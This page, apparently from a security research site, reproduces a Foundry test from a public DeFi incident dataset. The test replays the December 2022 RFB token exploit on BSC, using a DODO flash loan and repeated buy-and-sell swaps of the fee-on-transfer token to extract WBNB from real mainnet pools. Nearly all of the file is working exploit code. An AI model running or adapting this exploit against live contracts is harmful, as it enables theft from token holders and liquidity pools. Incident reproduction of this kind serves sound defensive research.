Public reproduction file
src/test/2022-12/RFB_exp.sol
Public reproduction file for dataset entry - RFB.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/15999912949477785609// @TX10// https://bscscan.com/tx/0xcc8fdb3c6af8bb9dfd87e913b743a13bbf138a143c27e0f387037887d28e3c7a12contract ContractTest is Test {13 IERC20 RFB = IERC20(0x26f1457f067bF26881F311833391b52cA871a4b5);14 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));15 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);16 Uni_Pair_V2 Pair = Uni_Pair_V2(0x03184AAA6Ad4F7BE876423D9967d1467220a544e);17 address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);21 function setUp() public {22 cheats.createSelectFork("bsc", 23_649_423);23 }25 function testExploit() public payable {26 RFB.approve(address(Router), type(uint256).max);27 WBNB.approve(address(Router), type(uint256).max);28 payable(address(uint160(0))).transfer(address(this).balance);29 DVM(dodo).flashLoan(20 * 1e18, 0, address(this), new bytes(1));31 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);32 }34 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {35 WBNB.withdraw(20 * 1e18);36 for (uint256 i = 0; i < 50; i++) {37 try this.check(20 * 1e18 - i) {}38 catch {39 continue;40 }41 }42 WBNB.deposit{value: address(this).balance}();43 WBNB.transfer(dodo, 20 * 1e18);44 }46 function check(47 uint256 amount48 ) public payable {49 uint256 BNBBalance = address(this).balance;50 BNBToRFB(amount);51 RFBToBNB();52 require(address(this).balance - BNBBalance > 0);53 }55 function BNBToRFB(56 uint256 amount57 ) public payable {58 address[] memory path = new address[](2);59 path[0] = address(WBNB);60 path[1] = address(RFB);61 Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(62 0, path, address(this), block.timestamp63 );64 }66 function RFBToBNB() public payable {67 address[] memory path = new address[](2);68 path[0] = address(RFB);69 path[1] = address(WBNB);70 Router.swapExactTokensForETHSupportingFeeOnTransferTokens(71 RFB.balanceOf(address(this)), 0, path, address(this), block.timestamp72 );73 }75 receive() external payable {}76}Analysis
Dataset entry
Public Foundry test for “- RFB” (2022-12-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-12/AES_exp.solSame month in the dataset · 69 lines
- src/test/2022-12/APC_exp.solSame month in the dataset · 68 lines
- src/test/2022-12/BBOX_exp.solSame month in the dataset · 70 lines
- src/test/2022-12/BGLD_exp.solSame month in the dataset · 113 lines
- src/test/2022-12/Defrost_exp.solSame month in the dataset · 62 lines
- src/test/2022-12/DFS_exp.solSame month in the dataset · 104 lines
- src/test/2022-12/ElasticSwap_exp.solSame month in the dataset · 95 lines
- src/test/2022-12/FPR_exp.solSame month in the dataset · 74 lines
- src/test/2022-12/JAY_exp.solSame month in the dataset · 120 lines
- src/test/2022-12/Lodestar_exp.solSame month in the dataset · 263 lines
- src/test/2022-12/MEVbot_0x28d9_exp.solSame month in the dataset · 44 lines
- src/test/2022-12/MUMUG_exp.solSame month in the dataset · 80 lines
- src/test/2022-12/Nmbplatform_exp.solSame month in the dataset · 229 lines
- src/test/2022-12/NovaExchange_exp.solSame month in the dataset · 67 lines
- src/test/2022-12/Overnight_exp.solSame month in the dataset · 285 lines
- src/test/2022-12/Rubic_exp.solSame month in the dataset · 137 lines
- src/test/2022-12/TIFI_exp.solSame month in the dataset · 67 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- RFB
- Path
- src/test/2022-12/RFB_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 34150470be9a0884d07ce0b46906e8f421088c01
- Language
- Solidity
- Size
- 77 lines
- Date
- 2022-12-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-12/RFB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 34150470be9a0884d07ce0b46906e8f421088c01, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.